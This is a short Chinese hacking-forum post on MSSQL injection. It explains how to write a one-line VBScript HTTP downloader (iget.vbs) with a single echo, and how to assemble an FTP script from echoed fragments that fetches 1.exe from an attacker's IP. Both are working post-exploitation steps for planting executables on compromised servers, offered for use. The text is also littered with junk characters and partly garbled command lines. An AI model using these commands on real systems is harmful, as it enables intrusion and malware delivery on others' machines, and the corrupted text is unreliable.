mssql注射时不可以多次echo的解决办法

韩冰

<>解决办法:
- y+ Q5 w- r4 t# P1.iget.vbs一次写入
! F# J  [7 ^0 ]在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写

Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2

/ o- W& p, x/ M这样我们可以一次echo成功,echo版本:

echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 &gt;iget.vbs
% `! [2 G+ Y% P! \" [9 Q$ w
$ ?0 u* s( G( Y! n2 U( O3 x
2.bat调用ftp脚本的写法(by envymask)

( f) P' i/ {) E6 L8 n# m( z2 eecho ftp&gt;1.vbs
echo open ip&gt;2.vbs
( U' _8 q# p- y7 V/ a7 ?echo u&gt;3.vbs
$ U( @( \3 \6 decho s&gt;4.vbs
6 H1 V$ E, x4 X9 ^8 V9 \7 Eecho binary&gt;5.vbs
echo get 1.exe&gt;6.vbs
- D9 [8 g% Z9 ~! K# e6 @echo bay&gt;7.vbs
' F$ N  O9 H# K2 e( Z7 p
& E; y5 o" W0 K! P7 ]copy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
</P>